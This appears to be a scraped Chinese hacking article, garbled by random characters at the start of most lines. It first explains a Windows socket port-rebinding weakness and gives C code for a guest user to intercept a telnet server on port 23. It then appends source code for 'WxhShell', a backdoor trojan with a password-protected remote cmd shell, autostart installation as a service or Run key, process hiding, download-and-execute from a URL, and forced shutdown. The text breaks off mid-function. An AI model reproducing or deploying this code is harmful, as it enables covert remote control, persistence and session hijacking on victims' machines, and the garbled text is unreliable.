在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
U+nwLxe' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
j#o0y5S <Y9ps`{}: saddr.sin_family = AF_INET;
Z~$fTW6g xpUaFb saddr.sin_addr.s_addr = htonl(INADDR_ANY);
rW!P~yk , Lhgv1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
wS8qua nIXq2TzJ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:fo%)_Jc! +xB!T1pD 这意味着什么?意味着可以进行如下的攻击:
e>Is$+[`7
}9{6{TD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
WCU[]A Wrt3p-N"D 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
YpXUYNy w0VJt<e* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Gv3a<Knn4 ~[l2"@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
lshO'I+)* BpRQG]L 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
389T6sP] irpO(>LK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5,;{<\c ll73}v 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
QD q2< |fq1Mn8 #include
8la.N* #include
E WOn" #include
uB0/H=<H #include
y~''r%] DWORD WINAPI ClientThread(LPVOID lpParam);
NSj}?hz int main()
Lab{?!E>U {
~%(r47n WORD wVersionRequested;
OP%h` DWORD ret;
;OE{& WSADATA wsaData;
8gr&{-5 BOOL val;
5fM/y3QPsZ SOCKADDR_IN saddr;
X 1^f0\k SOCKADDR_IN scaddr;
]MRE^Je\h int err;
8K7zh.E SOCKET s;
rB)m{) SOCKET sc;
'GS1"rkW<5 int caddsize;
p%_r0 HANDLE mt;
DBbmM*r DWORD tid;
j=M_> wVersionRequested = MAKEWORD( 2, 2 );
0g~WM err = WSAStartup( wVersionRequested, &wsaData );
^=}~ if ( err != 0 ) {
E.t9F3 printf("error!WSAStartup failed!\n");
{ SJ=|L6 return -1;
AZxOq !B }
{PWz:\oaD saddr.sin_family = AF_INET;
{b8!YbG _ i.CvYe //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
JaiYVx( kfM}j saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
n-}.Yc saddr.sin_port = htons(23);
a| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{HlUV33O {
bvk+i?{H printf("error!socket failed!\n");
V! a|rTU6 return -1;
F;}?O==H; }
`{<2{}2M val = TRUE;
C<eeAWP3v //SO_REUSEADDR选项就是可以实现端口重绑定的
w[UPoG #Uh if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
;9/6X#;$ {
.9S printf("error!setsockopt failed!\n");
s=u0M;A0Q return -1;
YLJH?=2@ }
O"nY4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
LX!16a@SxA //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-;_NdL@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
M
+~guTh WQ|d;[E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
lKxv
SyD {
hnmFhJ !g ret=GetLastError();
Fu(e4E printf("error!bind failed!\n");
&l-g3l[ return -1;
=
r_&R#~GT }
:~{XL >:S listen(s,2);
QaUh+k<6 while(1)
&B/cy<;y, {
76
# caddsize = sizeof(scaddr);
yAi#Y3!:: //接受连接请求
p$0;~1vH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6WzE'0Nyr if(sc!=INVALID_SOCKET)
VgN`'
iC`I {
#}^ZxEU mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
gh['T, if(mt==NULL)
QSmE:Y {
*B#<5<T printf("Thread Creat Failed!\n");
5MO:hE5sm break;
BAx)R6kS; }
JOx75} }
fI t:eKHr CloseHandle(mt);
uZW
? 0W }
;yx+BaG~? closesocket(s);
cJGA5m/{I WSACleanup();
\"<&8 return 0;
8n,i5>!d }
Z"mpE+U* DWORD WINAPI ClientThread(LPVOID lpParam)
/1gKc}rB2 {
7=6p SOCKET ss = (SOCKET)lpParam;
VQ$=F8ivG SOCKET sc;
I,l%6oPa unsigned char buf[4096];
k9w<0h3 SOCKADDR_IN saddr;
jgs kK long num;
_C)u#]t DWORD val;
&YmOXKf7 DWORD ret;
s@'};E^]@r //如果是隐藏端口应用的话,可以在此处加一些判断
\@:pWe //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
@|j`I1r.A saddr.sin_family = AF_INET;
:nd
}e saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
tI{pu}/"# saddr.sin_port = htons(23);
#z6RzZu if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)><cL:IJ}S {
r%&hiobMYs printf("error!socket failed!\n");
C;OU2,c,T return -1;
tv,^ Q} }
vpMNulXb, val = 100;
d9R0P2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3|[:8 {
P(VQ D>G ret = GetLastError();
w(k7nGU] return -1;
X6N^<Z$ }
4O[5, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tkR^dC {
qF%wl ret = GetLastError();
&bRmr/D return -1;
+`yDW N?7 }
+)qPUKb? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ad&Mk^p {
st:[|` printf("error!socket connect failed!\n");
XaR(q2s closesocket(sc);
'N,x=1R5 closesocket(ss);
+O*S>0 return -1;
]zhFFq` }
<T+Pw7X while(1)
$lU~3I) {
+`mJh\* //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
3S_KycE{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
nx
$?wxIm //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Y=vA;BE]R num = recv(ss,buf,4096,0);
jSa EwN if(num>0)
c5mv4 MC send(sc,buf,num,0);
&pZ]F=.r+ else if(num==0)
>M[rOu
(d break;
U@BVVH?,o num = recv(sc,buf,4096,0);
<*3wnpj_ if(num>0)
gA`/t e send(ss,buf,num,0);
?F(t`0= else if(num==0)
MP w@O0QS break;
q^n6"&;* }
{>5z~OV closesocket(ss);
*[.+|v;A closesocket(sc);
e1[kgp
return 0 ;
+S<2d.&~ }
H-1@z$p Ts}5Nk8% *NFy%ktu ==========================================================
vJtQ&,zG YxGIv8O] 下边附上一个代码,,WXhSHELL
!MTm4Ls 7V 2% ==========================================================
2a (w7/W: }]=b%CPJh+ #include "stdafx.h"
f|m.v
+7k HqcXP2 #include <stdio.h>
bpzB}nEp #include <string.h>
$O%lYQY] #include <windows.h>
B5=L</Aj #include <winsock2.h>
29,`2fFr #include <winsvc.h>
v\n!Li H #include <urlmon.h>
zOg#=ql @wl80v #pragma comment (lib, "Ws2_32.lib")
+M-' K19 #pragma comment (lib, "urlmon.lib")
+ulX(u(, IN ,@ #define MAX_USER 100 // 最大客户端连接数
X.j#?? #define BUF_SOCK 200 // sock buffer
zc*qmb #define KEY_BUFF 255 // 输入 buffer
P]yER9' _&19OD% #define REBOOT 0 // 重启
8{4I6;e- #define SHUTDOWN 1 // 关机
TG{=~2
Tk|0
scjE^ #define DEF_PORT 5000 // 监听端口
MR#jI D7sw;{ns #define REG_LEN 16 // 注册表键长度
'=\]4?S #define SVC_LEN 80 // NT服务名长度
#U"\v7C{n Hu1w/PLq // 从dll定义API
qAivsYN* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
.NQoqXR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
v;JY;Uh|
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
m-, ' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Z!wDh_ E 7;KG^ // wxhshell配置信息
:}+U?8/"7 struct WSCFG {
31w?bx !Pp int ws_port; // 监听端口
yc_(L-'n char ws_passstr[REG_LEN]; // 口令
dQ/Xs.8 int ws_autoins; // 安装标记, 1=yes 0=no
K4,VSy1byI char ws_regname[REG_LEN]; // 注册表键名
i:qc2#O:J char ws_svcname[REG_LEN]; // 服务名
z* zLK[t+ char ws_svcdisp[SVC_LEN]; // 服务显示名
u'yePJTE char ws_svcdesc[SVC_LEN]; // 服务描述信息
zw\"!=r^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
v:JFUn} int ws_downexe; // 下载执行标记, 1=yes 0=no
,(OA5%A9zK char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~AjbF(Ad char ws_filenam[SVC_LEN]; // 下载后保存的文件名
03$Ay_2 G
U0zlG] C };
B?#@<2*=L v@Otp // default Wxhshell configuration
&X}9D)\UJ struct WSCFG wscfg={DEF_PORT,
Wq&TbWR "xuhuanlingzhe",
3j]La 1,
0EPF;
Xx "Wxhshell",
\n`UkxZn+ "Wxhshell",
z<: 9,wtbP "WxhShell Service",
7:jSP$ "Wrsky Windows CmdShell Service",
%do|>7MO@ "Please Input Your Password: ",
4>0xS- 1,
57K1e~^ "
http://www.wrsky.com/wxhshell.exe",
CSt6}_c! "Wxhshell.exe"
h,TDNR<1L };
|PI.xl:ch :d)@|SR1 // 消息定义模块
%+o]1R char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~qFi0<-M char *msg_ws_prompt="\n\r? for help\n\r#>";
2>ce(4Gky char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5C#&vYnq char *msg_ws_ext="\n\rExit.";
]2h~Db= char *msg_ws_end="\n\rQuit.";
@^k$`W; char *msg_ws_boot="\n\rReboot...";
X k<X:,T char *msg_ws_poff="\n\rShutdown...";
sJ3HH0e char *msg_ws_down="\n\rSave to ";
_.?$~;7 P1T LH2) char *msg_ws_err="\n\rErr!";
`\e@O#,^yI char *msg_ws_ok="\n\rOK!";
G]QD6b9~ 0Zk A.p char ExeFile[MAX_PATH];
M?)>,
!Z) int nUser = 0;
< g6
[mS HANDLE handles[MAX_USER];
KXicy_@DC` int OsIsNt;
B<8Z?:3YS Z~T- *1V SERVICE_STATUS serviceStatus;
Qnr' KbK SERVICE_STATUS_HANDLE hServiceStatusHandle;
8Vl!&j0s^ N@tzYD|hA // 函数声明
/vsQ <t;~ int Install(void);
#FTXy>W int Uninstall(void);
M={k4r_t int DownloadFile(char *sURL, SOCKET wsh);
4A|5eg9N int Boot(int flag);
\-V void HideProc(void);
+es.V
/ int GetOsVer(void);
V%o:Qa[a int Wxhshell(SOCKET wsl);
c9r2kc3cy{ void TalkWithClient(void *cs);
.!nFy` int CmdShell(SOCKET sock);
(Pvch! int StartFromService(void);
ME0ivr*=: int StartWxhshell(LPSTR lpCmdLine);
"9>#Q3<N h %MPppCEa VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?>4^e: VOID WINAPI NTServiceHandler( DWORD fdwControl );
0fi+tc30 !. q*bY // 数据结构和表定义
ZiVT c/b SERVICE_TABLE_ENTRY DispatchTable[] =
,^AkfOY7" {
(Q#A Br8 {wscfg.ws_svcname, NTServiceMain},
89'nbg {NULL, NULL}
z~z.J] };
DC[-<:B iCc@N|~ // 自我安装
PS(LD4mD int Install(void)
T3'dfe U {
Ji%T|KR_ char svExeFile[MAX_PATH];
&qrH HKEY key;
"z@qG]#5 strcpy(svExeFile,ExeFile);
(iBBdB ]9;WM. // 如果是win9x系统,修改注册表设为自启动
N9,n/t if(!OsIsNt) {
Y,>])R[4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l#]Z?zW. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;v8,r#4 RegCloseKey(key);
;}^Pfm8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
J~n{gT<L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'T+3tGCy+ RegCloseKey(key);
P(A%z2Ql return 0;
NrS1y"#d9 }
3YA !2 }
urXM}^ }
?\ho9nyK else {
|W\CV0L2 Vj~R6 // 如果是NT以上系统,安装为系统服务
}tc,3>/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
pX6OhwkTK if (schSCManager!=0)
auL?Hb {
tao3Xr^? SC_HANDLE schService = CreateService
/c3DltOdr (
~~'XY( \L@ schSCManager,
xJc'tT6@ wscfg.ws_svcname,
rpDH>Hzq wscfg.ws_svcdisp,
D&Ngg)_Mq SERVICE_ALL_ACCESS,
F?5kl/(" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
3smcCQA% SERVICE_AUTO_START,
Z#"6&kv SERVICE_ERROR_NORMAL,
Ao?H.=#y svExeFile,
JGH9b!}-1 NULL,
X$PT-~!a NULL,
u8-)LOf( NULL,
Lrr6z05F Q NULL,
B6$s*SXNp NULL
]yCmGt+b );
}b6ja y if (schService!=0)
hvZW~
=75 {
GW.s\8w CloseServiceHandle(schService);
) ,*&rd! CloseServiceHandle(schSCManager);
A+;]# 1y(D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
fwXk{P/ strcat(svExeFile,wscfg.ws_svcname);
`~pB1sS{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
:q^g+Bu= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>{npg2 RegCloseKey(key);
NTgk0cq return 0;
]!h%Jlu }
3lA<{m;V }
k{"~G#GwP CloseServiceHandle(schSCManager);
ZNG.W0{p }
RQ}x7</{ }
;) (qRZd6 Qzb8*;4?FF return 1;
&$vDC M4 }
}Ct_i'Ow y(6&90cr // 自我卸载
/Hx%gKU int Uninstall(void)
/M B0%6m {
bF?EuL HKEY key;
AB}Qd\ X+bLLW>& if(!OsIsNt) {
6Y\9h)1Jo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Njz,y}\ RegDeleteValue(key,wscfg.ws_regname);
Oh<Z0M) RegCloseKey(key);
v8-F;>H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_qJ[~'m<^C RegDeleteValue(key,wscfg.ws_regname);
'2:Ily,S@ RegCloseKey(key);
}6m5MH$7q return 0;
>nvreis }
$0iz;!w }
!4I?59 }
LNk
3=v2M else {
|K/#2y~ P|_?{1eO2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;?h#',(p if (schSCManager!=0)
U{eC^yjt"o {
bKG:_mWe w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
fgTvwOSk if (schService!=0)
|w /txn8G| {
*~2jP;$ if(DeleteService(schService)!=0) {
iT9cw`A^% CloseServiceHandle(schService);
bLSI\ CloseServiceHandle(schSCManager);
?aO%\<b return 0;
_lyP7$[:
c }
"LXLUa03 CloseServiceHandle(schService);
My_fm?n }
4ol=YGCI_ CloseServiceHandle(schSCManager);
k];
<PF }
sks_>BM }
>,hJ5-9 V/>SjUNq return 1;
v`x~O+ }
gEU)UIJ 6sB!m|zm]: // 从指定url下载文件
pN4!*7M int DownloadFile(char *sURL, SOCKET wsh)
"%A[%7LY {
rv|k8 HRESULT hr;
"eh"'Z char seps[]= "/";
\+L_'*&8 char *token;
J,m.LpY char *file;
.$v]Bxu char myURL[MAX_PATH];
:Q$3P+6 a char myFILE[MAX_PATH];
f_.1)O'83 gtjgC0 strcpy(myURL,sURL);
fa5($jJ& token=strtok(myURL,seps);
hO{@!H$l while(token!=NULL)
)@SIFE {
?_n.B=H`8 file=token;
JJ qX2B token=strtok(NULL,seps);
V!"^6) }
t'm]E2/ G.B^C)guu GetCurrentDirectory(MAX_PATH,myFILE);
kFD- strcat(myFILE, "\\");
YF&SH)Y7 strcat(myFILE, file);
[.dNX send(wsh,myFILE,strlen(myFILE),0);
fp12-Hk ~ send(wsh,"...",3,0);
T']*h8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
NF&\<2kX if(hr==S_OK)
2Ni{wg" return 0;
O aF+Z@s else
0SvPyf%AC return 1;
>2$Ehw:K^ [HQ17 }
y<3v/,Y G/<{:R" // 系统电源模块
/:awPYGH<1 int Boot(int flag)
#c/v2 {
\4zvknk< HANDLE hToken;
r]0 o TOKEN_PRIVILEGES tkp;
;}|.crMF aoF>{Z4&B if(OsIsNt) {
L)B?p!cdLT OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
s8eiq`6\H} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
r<C^hs&] tkp.PrivilegeCount = 1;
o~es>; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
z{!wQ~
j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
tEP^w if(flag==REBOOT) {
Kau*e8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
hh: )"<[ return 0;
WxO*{`T! }
#docBsHX&s else {
Dq2eX;c@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
1Rp|*> return 0;
6LvUi|~"< }
YWq[)F@0G }
`4;<\VYCr else {
jX+LI if(flag==REBOOT) {
BLMcvK\9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
BKvF,f/g return 0;
j#!J
hi }
s/ZOA[Yux else {
5l(;+#3y/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
OtQKDpJq return 0;
UK&E#i }
/!AdX0dx }
b[RBp0]x ch :428 return 1;
{'r(P& }
JmN;v|wF:c eTrGFe!8w // win9x进程隐藏模块
J>Zd75;U void HideProc(void)
y)(SS8JR {
A 9tQb: \N"K^kR4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
rt~X(S if ( hKernel != NULL )
pF"z)E|^ {
by8d18:it pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
o5Qlp5`:u ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)]qFI"B7 FreeLibrary(hKernel);
c1:op@t }
@ju-cv+ CqrmdWN return;
cRU. }
]/d2*# Th,2gX9 // 获取操作系统版本
|ZRl.C/e int GetOsVer(void)
hj4A&`2 {
9lA YCsX OSVERSIONINFO winfo;
P<2yCovn` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
xsAF<:S\ GetVersionEx(&winfo);
+m>Kb edl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
VQo7se1P return 1;
\nxt\KD else
<T0-m?D_$ return 0;
R^8Opf_UN }
QAb[M\G ^OA}#k
NTW // 客户端句柄模块
*xLMs(gg int Wxhshell(SOCKET wsl)
KJpM?: {
wlKL|N SOCKET wsh;
.!9]I'9M struct sockaddr_in client;
53(m9YLk DWORD myID;
0s<o5`v RKBjrSZg8 while(nUser<MAX_USER)
7Uj[0Awn {
j j$'DZk int nSize=sizeof(client);
x$s #';* wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
03rZz1 if(wsh==INVALID_SOCKET) return 1;
Y1
-cz: qw_qGgbl handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_n{N3da if(handles[nUser]==0)
j83p[qR7o closesocket(wsh);
'`3-X];p else
Ogjjjy84vM nUser++;
&"^A }
)Ba^Igb} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
/!%P7F 8n&" ,)U return 0;
EkTen:{G }
P, S9gG9 ~*2PmD"+: // 关闭 socket
}.T$bj1B;V void CloseIt(SOCKET wsh)
,;D74h2F {
T-5T`awf closesocket(wsh);
>StvP=our nUser--;
1eb1Lvn ExitThread(0);
Fg,[=CqB[ }
5<#H=A~( ?W(wtp,o // 客户端请求句柄
wh~~g
qi9 void TalkWithClient(void *cs)
OEAF. {
]j{S' cz 5T8!5EcS* SOCKET wsh=(SOCKET)cs;
DF&C7+hO char pwd[SVC_LEN];
*~:@xMa char cmd[KEY_BUFF];
;UWdT]>!? char chr[1];
nt5 ~"8 int i,j;
BO{J{ L;z-,U$;%R while (nUser < MAX_USER) {
{yG)Ii 8D+OF 6CM if(wscfg.ws_passstr) {
a)Wf* <B if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[e&$4l IS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s lPFDBx //ZeroMemory(pwd,KEY_BUFF);
qKSM*k~ i=0;
r!x^P=f,MJ while(i<SVC_LEN) {
@nZFw. )8Q|y // 设置超时
XHe= fd_set FdRead;
`__CL
)N| struct timeval TimeOut;
]gmf%g'C FD_ZERO(&FdRead);
?Rl*5GRW FD_SET(wsh,&FdRead);
wCI.jGSBW TimeOut.tv_sec=8;
i_=P!%, TimeOut.tv_usec=0;
FS@SC`~( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
*y0`P0V|8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8a05`ZdP \<PX'mnO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
@D60 pwd
=chr[0]; 'wQ=b
if(chr[0]==0xd || chr[0]==0xa) { 3PJ
pwd=0; _5X}&>>lhF
break; ^qk$W?pX
} \T[*|"RFZ
i++; {)%B?75~
} c9'#G>&h~^
/Fv1Z=:r
// 如果是非法用户,关闭 socket glv(`cQ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); | z('yy$
} 9(@bjL465
$9l3DJ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F1,pAtA
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
NOQgkN
p@Qzg
/X
while(1) { ]#*@<T*[
~ R* 6w($
ZeroMemory(cmd,KEY_BUFF); TY8 8PXW
(JM4W
"7'
// 自动支持客户端 telnet标准 Z,d/FC#y(
j=0; ->j9(76 "
while(j<KEY_BUFF) { Lv_6Mf(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8XY4
cmd[j]=chr[0]; Q%
dpGI
if(chr[0]==0xa || chr[0]==0xd) { RL&*.r&
cmd[j]=0; KlrKGmy,)
break; Ne#nSx5,
} S>*T&K
j++; iYnw?4Y
} Y&&Y:+
V
!
4s$93
// 下载文件 V*)6!N[5
if(strstr(cmd,"http://")) { {$s:N&5
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @E==~ b
if(DownloadFile(cmd,wsh)) ~ib#x~Db
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @L~y%#
else ZU:gNO0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hwXp=not(
} R
UX
else { Xajjzl\b
>"Hj=?
switch(cmd[0]) { ]Wy V bIu
)*_YeT&w.
// 帮助 ]-AT(L>
case '?': { Z6
aT%7}}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3'']q3H
break; >PYe"
} v:vA=R2
// 安装 :}GxJT4
case 'i': { f9&D1Gh+w
if(Install()) Cn_Mz#Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); oS`F Yy
else D{8V^%{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '@:;oe@]
break; L?Lp``%bI7
} MP3E]T~:
// 卸载 JTb<uC
case 'r': { @lJGdp
if(Uninstall()) i\<l&W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =9)ypI-2
else =*(d+[_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xQD#;
7
break; G's/Q-'[\
} D~%cf
// 显示 wxhshell 所在路径 )q=1<V44d
case 'p': { JRo{z{!O6
char svExeFile[MAX_PATH]; V,Gt5lL&/!
strcpy(svExeFile,"\n\r"); aI\VqOt]
strcat(svExeFile,ExeFile); O{dx+f
send(wsh,svExeFile,strlen(svExeFile),0); 2N]y)S_<V
break; Ny~;"n
} TQEZ<B$
// 重启 M.128J+xfS
case 'b': { -S|L+">=Z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,{oANqP
if(Boot(REBOOT)) `#(4K4]1.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l,/5$JGnk
else { $@U`zy"Y
closesocket(wsh); tl4;2m3w
ExitThread(0); UtWoSFZ'o!
} -meKaQv
break; GV2}K
<s
} q&N&n%rbm
// 关机 My[L3KTTp
case 'd': { 3!}#@<j
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i$F)h<OU+
if(Boot(SHUTDOWN)) $6J5yE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '2
)d9_ w
else { k\%{1oRA
closesocket(wsh); >?DrC /
ExitThread(0); NKMB,b
} b"zq3$6*
break; 9S<W~# zz
} D!-zQ`^
// 获取shell %_z]iz4
case 's': { fkI<RgM
CmdShell(wsh); Zkz:h7GUG-
closesocket(wsh); KE^_09
ExitThread(0); I|PiZ1]2Y
break; bWyXDsr+
} :*8@MjZ4
// 退出 xL!05du
case 'x': { ~k J#IA
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jt]+(sx
CloseIt(wsh); Te.hXCFD
break; SZ0Zi\W
} s+CWyW@
// 离开 E+01"G<Q
case 'q': { $b8>SSz
send(wsh,msg_ws_end,strlen(msg_ws_end),0); S1=c_!q%9
closesocket(wsh); r|P4|_No
WSACleanup(); dxU[>m;
exit(1); l p? h~
break; I,#U
_
} G +YF
} JLeV@NO
} G%6wk=IH
[OT@gp:
// 提示信息 >!oN+8[~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > W0hrt?b
} ;j(xrPNb
} cis~]x%
$Qm;F%
>
return; 10DS
} %d=-<EQ|&
`P GWu1/
// shell模块句柄 O a7W&wi
int CmdShell(SOCKET sock) M'g4alS
{ (0k0gq;
STARTUPINFO si; 'LX=yL]I
ZeroMemory(&si,sizeof(si)); P@Qo2zTh%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F-ZD6l9O
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O
,DX%wk,
PROCESS_INFORMATION ProcessInfo; mtF&Z\ag
char cmdline[]="cmd"; z1"UF4x*
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PffwNj/l
return 0; K'71uW>
} L@+j8[3BX
^L[Z+7|
// 自身启动模式 jQ[Z*^"}
int StartFromService(void) fZGKVxo"
{ ZHB'^#b
typedef struct * T~sR'K+|
{ 'N}Wo}1r
DWORD ExitStatus; ~PV>3c3l=
DWORD PebBaseAddress; }%:?s6Ler
DWORD AffinityMask; vWgh?h/ot
DWORD BasePriority; R
`'@$"
